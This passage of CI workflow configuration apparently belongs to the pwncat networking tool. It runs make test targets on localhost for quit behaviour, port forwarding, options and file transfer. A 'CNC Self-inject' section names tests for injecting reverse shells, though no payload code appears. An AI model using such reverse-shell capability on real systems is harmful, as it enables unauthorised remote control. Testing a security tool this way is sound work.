"${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 - name: "[OPTIONS] -C/--crlf" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--crlf env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-ubuntu-3.6.yml000066400000000000000000001215141414025024700223530ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: ubu-3.6 on: pull_request: push: branches: - master tags: jobs: test: runs-on: ubuntu-latest strategy: fail-fast: False name: "[x64] [ubuntu] python-3.6" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: 3.6 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # 